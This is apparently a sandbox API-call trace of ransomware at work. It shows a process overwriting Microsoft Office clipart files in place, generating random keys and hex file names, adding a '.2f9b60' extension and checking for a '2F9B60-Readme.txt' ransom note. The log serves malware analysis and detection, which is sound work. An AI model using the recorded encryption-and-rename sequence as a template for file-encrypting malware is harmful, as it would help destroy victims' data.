[0107.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0107.259] NtQuerySystemTime (in: CurrentTime=0x2bbbf9a0 | out: CurrentTime=0x2bbbf9a0*=132462177127486000) returned 0x0 [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x7c4a6414 [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x31d8fd9d [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x7c289803 [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x37b72581 [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x16a0ff2e [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x286d9303 [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x204e1259 [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x250cc55e [0107.259] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x6b5257ae [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x450d833e [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x4a7f7350 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0xb8e7690 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x3a22e9d8 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x75751a47 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x186efeb1 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x1e394461 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x2ffba9a2 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x60f292a [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x8f819d1 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x13a77c30 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x7f43140 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x214f3eee [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0xd6db6c4 [0107.260] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x2048ced7 [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x2d78b24a [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x268db0f2 [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x4ad20d69 [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x3d2f6ad7 [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x246221c [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x2dc70db7 [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x68ae0e84 [0107.261] RtlRandomEx (in: Seed=0x2bbbf990 | out: Seed=0x2bbbf990) returned 0x636de1a5 [0107.269] ReadFile (in: hFile=0x1738, lpBuffer=0x41ec0d80, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x2bbbf990, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesRead=0x2bbbf990*=0xd58, lpOverlapped=0x0) returned 1 [0107.270] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.270] WriteFile (in: hFile=0x1738, lpBuffer=0x41ecc1b0*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x2bbbf994, lpOverlapped=0x0 | out: lpBuffer=0x41ecc1b0*, lpNumberOfBytesWritten=0x2bbbf994*=0xd58, lpOverlapped=0x0) returned 1 [0107.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76e0 [0107.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0107.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0107.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ecc1b0) returned 1 [0107.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0107.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0107.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7770 [0107.286] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.286] WriteFile (in: hFile=0x1738, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bbbfab0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2bbbfab0*=0x10a, lpOverlapped=0x0) returned 1 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8675c0 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0107.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b00) returned 1 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0107.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0107.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0107.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.302] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="a8") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="72") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="15") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="f1") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ad") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="66") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="eb") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="50") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="af") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="ba") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="74") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ec") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="d9") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="0c") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f9") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="0d") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="51") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="a9") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="7f") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="a8") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="f0") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="c5") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="fb") returned 2 [0107.302] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="55") returned 2 [0107.302] RtlInitAnsiString (in: DestinationString=0x2bbbfb28, SourceString="a87215f1ad66eb50afba74ecd90cf90d51a97fa8f0c5fb55" | out: DestinationString="a87215f1ad66eb50afba74ecd90cf90d51a97fa8f0c5fb55") [0107.303] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bbbfaf8, SourceString="a87215f1ad66eb50afba74ecd90cf90d51a97fa8f0c5fb55", AllocateDestinationString=1 | out: DestinationString="a87215f1ad66eb50afba74ecd90cf90d51a97fa8f0c5fb55") returned 0x0 [0107.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6190 [0107.303] wcscat (in: _Dest=0x4205db90, _Source="a87215f1ad66" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a87215f1ad66") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a87215f1ad66" [0107.303] wcscat (in: _Dest=0x4205db90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a87215f1ad66.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a87215f1ad66.2f9b60" [0107.303] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a87215f1ad66.2f9b60", NtPathName=0x2bbbfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\a87215f1ad66.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0107.303] NtSetInformationFile (FileHandle=0x1738, IoStatusBlock=0x2bbbfb70, FileInformation=0x20279a30, Length=0xac, FileInformationClass=0xa) returned 0x0 [0108.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0108.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d690) returned 1 [0108.244] NtQueryInformationFile (in: FileHandle=0x1738, IoStatusBlock=0x2bbbfb38, FileInformation=0x2bbbfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bbbfb38, FileInformation=0x2bbbfb48) returned 0x0 [0108.244] NtSetInformationFile (FileHandle=0x1738, IoStatusBlock=0x2bbbfb38, FileInformation=0x2bbbfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205db90) returned 1 [0108.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6190) returned 1 [0108.247] FlushFileBuffers (hFile=0x1738) returned 1 [0108.251] CloseHandle (hObject=0x1738) returned 1 [0108.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205db90 [0108.252] wcscpy (in: _Dest=0x4205db90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0108.252] wcscat (in: _Dest=0x4205db90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0108.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0108.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205db90) returned 1 [0108.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b9b0) returned 1 Thread: id = 694 os_tid = 0x11bc [0096.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0106.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", dwFileAttributes=0x20) returned 1 [0106.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0106.715] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x2bf6fda0 | out: lpFileSize=0x2bf6fda0*=2636) returned 1 [0106.715] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0xa48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.715] ReadFile (in: hFile=0x1574, lpBuffer=0x2bf6fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bf6fd68, lpOverlapped=0x0 | out: lpBuffer=0x2bf6fd20*, lpNumberOfBytesRead=0x2bf6fd68*=0x4, lpOverlapped=0x0) returned 1 [0106.744] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0106.744] NtQuerySystemTime (in: CurrentTime=0x2bf6fc60 | out: CurrentTime=0x2bf6fc60*=132462177122338000) returned 0x0 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x598594a0 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x66eb035d [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x2e191228 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x5ad2fd3 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x31b46f29 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x7880b8e0 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x65d93818 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x50b131d7 [0106.744] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x55b41cc1 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x38e8467f [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x11be9263 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x6ebcbfb9 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x5bdccbea [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x39700c4b [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x6807aebd [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x480577f2 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x4e5bfa01 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x10fae3e0 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x75990cb7 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x3a34f7c6 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x1d5661d4 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x680e4752 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x685cb45d [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0xda85e4d [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x15544ab8 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x234487ad [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x2fbbca59 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x844f145 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x7991e2eb [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x2c686e06 [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0x890606d [0106.745] RtlRandomEx (in: Seed=0x2bf6fc50 | out: Seed=0x2bf6fc50) returned 0xf2eb00f [0106.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0106.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0106.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0106.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec4990 [0106.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec85a0 [0106.757] ReadFile (in: hFile=0x1574, lpBuffer=0x41ec4990, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x2bf6fc50, lpOverlapped=0x0 | out: lpBuffer=0x41ec4990*, lpNumberOfBytesRead=0x2bf6fc50*=0xa4c, lpOverlapped=0x0) returned 1 [0106.758] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.758] WriteFile (in: hFile=0x1574, lpBuffer=0x41ec85a0*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x2bf6fc54, lpOverlapped=0x0 | out: lpBuffer=0x41ec85a0*, lpNumberOfBytesWritten=0x2bf6fc54*=0xa4c, lpOverlapped=0x0) returned 1 [0106.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0106.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0106.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0106.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec85a0) returned 1 [0106.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec4990) returned 1 [0106.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7fb0 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0106.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced77d0 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0106.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0106.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0106.774] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.774] WriteFile (in: hFile=0x1574, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bf6fd70, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2bf6fd70*=0x10a, lpOverlapped=0x0) returned 1 [0106.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0106.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0106.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.783] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="d8") returned 2 [0106.783] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="2a") returned 2 [0106.783] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="56") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="ea") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ea") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="3d") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="31") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="6b") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="37") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="6c") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="25") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="b2") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="5b") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="46") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f4") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="9a") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="a3") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="a2") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="da") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="d9") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="58") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="28") returned 2 [0106.784] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="58") returned 2 [0106.785] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="b7") returned 2 [0106.785] RtlInitAnsiString (in: DestinationString=0x2bf6fde8, SourceString="d82a56eaea3d316b376c25b25b46f49aa3a2dad9582858b7" | out: DestinationString="d82a56eaea3d316b376c25b25b46f49aa3a2dad9582858b7") [0106.785] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf6fdb8, SourceString="d82a56eaea3d316b376c25b25b46f49aa3a2dad9582858b7", AllocateDestinationString=1 | out: DestinationString="d82a56eaea3d316b376c25b25b46f49aa3a2dad9582858b7") returned 0x0 [0106.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5f60 [0106.785] RtlFreeAnsiString (AnsiString="d") [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0106.786] 